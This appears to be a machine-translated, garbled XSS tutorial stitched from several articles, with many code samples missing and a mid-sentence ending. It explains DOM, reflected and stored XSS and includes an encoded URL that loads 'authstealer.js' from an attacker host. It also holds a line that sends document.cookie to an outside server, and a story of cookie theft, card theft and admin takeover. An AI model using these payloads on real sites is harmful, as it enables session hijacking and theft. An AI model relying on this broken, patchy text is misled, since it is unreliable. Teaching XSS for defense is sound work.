XSS Attack training. XSS Vulnerability - What is it? Examples of XSS vulnerabilities. Data from filled forms

" /> To find

And DOM XSS is changing the DOM structure that is formed in the browser on the fly and see the malicious code we can only when viewing the formated DOM structure. HTML does not change. Let's take this code for example:

That in the browser we will see:

Page source code:

Let's form the address as follows:

Http: //localhost/tests/xss/dom_xss.html#input\u003dTokenalex.;

Now the page looks like this:

But let's look at source HTML:

There was absolutely nothing changed. About this I said, we need to watch DOM structure document to identify malicious code:

Here is a working prototype XSS, for a real attack we need a more complex payload that is impossible due to the fact that the application stops reading immediately after a point with a comma, and something like alert (1); Alert (2) No longer possible. However, thanks to unescape () In returned data, we can use the payload like this:

Http: //localhost/tests/xss/dom_xss.html#input\u003dTokenalex.;

Where we replaced the symbol ; On the equivalent coded in the URI!

Now we can write a malware of JavaScript and make a link to send the victim, as is done for standard non-permanent scripting.

Xss auditor

IN Google Chrome. (as well as in Opera, which now uses the Google Chrome engine), I was waiting for such a surprise:

dom_xss.html: 30 The XSS Auditor refused to execute a script in "http: //localhost/tests/xss/dom_xss.html#input\u003dToken \u003cscript\u003e alert (1); "BECAUSE ITS Source Code Was Found Within The Request. The Auditor Was Enabled As The Server Sent Neither An" X-XSS-Protection "NOR" CONTENT-SECURITY-POLICY "HEADER.

Those. Now in the browser there is an XSS auditor who will try to prevent XSS. There is no such functionality in Firefox, but I think this is a matter of time. If the implementation in browsers will be successful, then we can talk about a significant difficulty of using XSS.

It is useful to remember that modern browsers Take steps to limit the level of operation of problems like non-permanent XSS and based on DOM XSS. Including it is necessary to remember when testing websites using a browser - it may well be that the web application is vulnerable, but you do not see a pop-up confirmation for the reason that the browser blocks it.

Examples of exploiting XSS.

Malefactors, intending to use intersiteite scripting vulnerabilities, should approach each class of vulnerabilities in different ways. Here are described the vectors of attacks for each class.

With XSS vulnerabilities, BEEF can be used in attacks, which expands the attack from the website to the local environment of users.

Example attack with non-permanent xss

1. Alice often visits a specific website that hosts Bob. The Bob website allows Alice to log in with the user / password name and save sensitive data, such as payment information. When the user exercises input, the browser retains the authorization cookies that look like meaningless characters, i.e. Both computers (client and server) remember that it entered.

2. Malories notes that the Bob website contains non-permanent XSS vulnerability:

2.1 When visiting the search page, we enter a line to search and click on the Send button if the results are not found, the page displays the entered search string, followed by the words "not found" and the URL http://bobssite.org?q\u003dyu search query

2.2 with a normal search query like the word " doggy»Page simply displays" doggy No found "and url http://bobssite.org?q\u003d doggyWhat is quite normal behavior.

2.3 Nevertheless, when an abnormal search query is sent to the search :

2.3.1 A warning message appears (which says "XSS").

2.3.2 Page displays not found Along with an error message with the text "XSS".

2.3.3 URL suitable for operation http://bobssite.org?q\u003d.alert("xss");

3. Malories designs the URL to operate vulnerability:

3.1 She does URL http://bobssite.org?q\u003dpuppies. . It can choose to convert ASCII characters in a hexadecimal format, such as http://bobssite.org?q\u003dpuppies%3Cscript%2520SRC%3D%22HTTP%3A%2F%2FMallorySevilsite.com%2Fauthstealer.js%22%3E. In order for people to be able to immediately decipher a malicious URL.

3.2 She sends an e-mail to some unsuspecting member of the site Bob, saying: "Check out the cool dogs."

4. Alice receives a letter. She loves dogs and clicks on the link. She goes to the site Bob in the search, she doesn't find anything, there displays the "dogs not found", and in the middle of the tag, the tag is started with a script (it is invisible on the screen), loads and executes the Malory AuthStealer.js program (XSS attack). Alice forgets about it.

5. AUTHSTEALER.JS program starts in the Alice browser as if its source is the Bob website. She captures a copy of Alice authorization cookies and sends to the Malory server, where Malories remove them.

7. Now that Malories inside, it goes to the website of the website, looks and stealing a copy of the Alice credit card number. Then she goes and changes the password, i.e. Now Alice can not even go.

8. She decides to take the next step and sends a reference to Bob himself similarly similarly, and thus gets administrative privileges of the Bob site.

Attack with constant XSS

1. Malories has an account on the site Bob.
2. Malory notes that the Bob website contains a constant XSS vulnerability. If you go to new section, Place a comment, then it displays that it would not be printed. But if the comment text contains HTML tags, these tags will be displayed as it is, and any scripting tags are launched.
3. Malory reads an article in the News section and writes a comment in the Comments section. In the comment, it inserts the text:
4. In this story I liked the dogs so much. They are so nice!

   Pay attention to which the codes of the HTML code falls your embedded code. Here is an example of a typical field input field ( input):

   Our payload will go to where the word "pillowcase" is now. Those. turn into tag input. We can avoid this - close a double quotation, and then the tag itself with "/>

   "/>

   Let's try her for some sites:

   

   Excellent vulnerability

   

   Programs for search and scan XSS vulnerability
   

   Probably all web applications scanners have a built-in XSS vulnerability scanner. This topic is awkhanging, it is better to get acquainted with each such scanner separately.

   Cross-site scripting (abbreviated XSS) is a widespread vulnerability affecting many web applications. It allows an attacker to implement malicious code into a website in such a way that the user browser that has entered the site will execute this code.

   Usually, a certain interaction with the user is required to operate this vulnerability: either it is lured on an infected site with social engineering, or just waiting until he himself visits this site. Therefore, developers are often not perceived seriously xss-vulnerability.

   But if they are not eliminated, it may be a serious security threat.

   Imagine that we are in the WordPress admin panel, add new content. If we use a plugin vulnerable to XSS, it can cause the browser to create a new administrator, modify the content and perform other malicious actions. Cross-site scripting provides an attacker with almost complete control over the most important software Nowadays - browser.

   XSS: Injection Vulnerability

   Any web site or application has several data entry sites - Forms to the URL itself. The simplest example of the input data is when we enter the username and password form:

   

   Our name will be stored in the site database for subsequent interaction with us. Surely, when you passed authorization on any site, you saw a personal greeting in the style of "Welcome, Ilya".

   It is for such purposes that the usernames are stored in the database.

   Injection is called a procedure when, instead of a name or password, a special sequence of symbols that makes the server or a browser respond to certain, the desired attacker is entered.

   An intersight script is called an injection that implements code that will perform actions in the browser on behalf of the website. It can occur both with user notification and in background mode, without his knowledge.
   
   

   Traditional XSS attacks:

   Reflected (non-permanent).

   The reflected XSS attack is triggered when the user goes to a specially prepared link.

   These vulnerabilities appear when the data provided by the web client is most often in the HTTP query parameters or in the form of HTML are executed directly by server scripts to syntactic analysis and display the results page for this client, without proper processing.

   Stored (constant).

   Stored XSS are possible when an attacker manages to implement a malicious code on the server, running in the browser every time when accessing the original page. The classic example of this vulnerability are forums on which it is allowed to leave comments in HTML format.

   Vulnerabilities caused by code on the client side (JavaScript, Visual Basic, Flash, etc.):

   Also known as DOM models:

   Reflected (non-permanent).

   The same as in the case of the server side, only in this case the attack is possible due to the fact that the code is processed by the browser.

   Stored (constant).

   Similar to storage of XSS on the server side, only in this case the malicious component is saved on the client side using the browser storage.

   Examples of XSS vulnerabilities.

   Interestingly, in most cases, this vulnerability is described, we are frightened by the following code:

   Http://www.site.com/page.php?var\u003d

   There are two types of XSS vulnerabilities - passive and active.

   Active vulnerability More dangerous, as an attacker does not need to lure the sacrifice on a special link, it is enough for him to implement the code into the base or some file on the server. Thus, all visitors to the site automatically become victims. It can be integrated, for example, by embedding SQL code (SQL Injection). Therefore, you should not trust the data stored in the database, even if in the insert they were processed.

   Example passive vulnerability You can see at the very beginning of the article. There are already social engineering, for example, an important letter from the site administration asking you to check the settings of your account, after recovery from the backup. Accordingly, you need to know the address of the victim or simply arrange a spam newsletter or place a post on some forum, and not yet the fact that the victims will be naive and go to your link.

   Moreover, passive vulnerabilities can be subject to both the POST and GET parameters. With post-parameters, it will be understood, you will have to go on tricks. For example, redirection from the intruder site.

   Consequently, the GET vulnerability is a little more dangerous, because the victim is easier to notice the wrong domain than additional parameter (Although the URL can be encoded at all).

   Cookies

   This is the most frequently cited example of XSS attacks. In cookies sites sometimes store any valuable information (sometimes even login and password (or its hash) of the user), but the most dangerous is theft of an active session, so do not forget to press the "Exit" link on the sites, even if it home computer. Fortunately, in most resources, the lifetime of the session is limited.

   Var іmg \u003d new image (); Іmg.sps \u003d "http: //site/xss.php?" + document.cookie;

   Therefore, the domain restrictions on XmlHttprequest, but the attacker is not scary because there is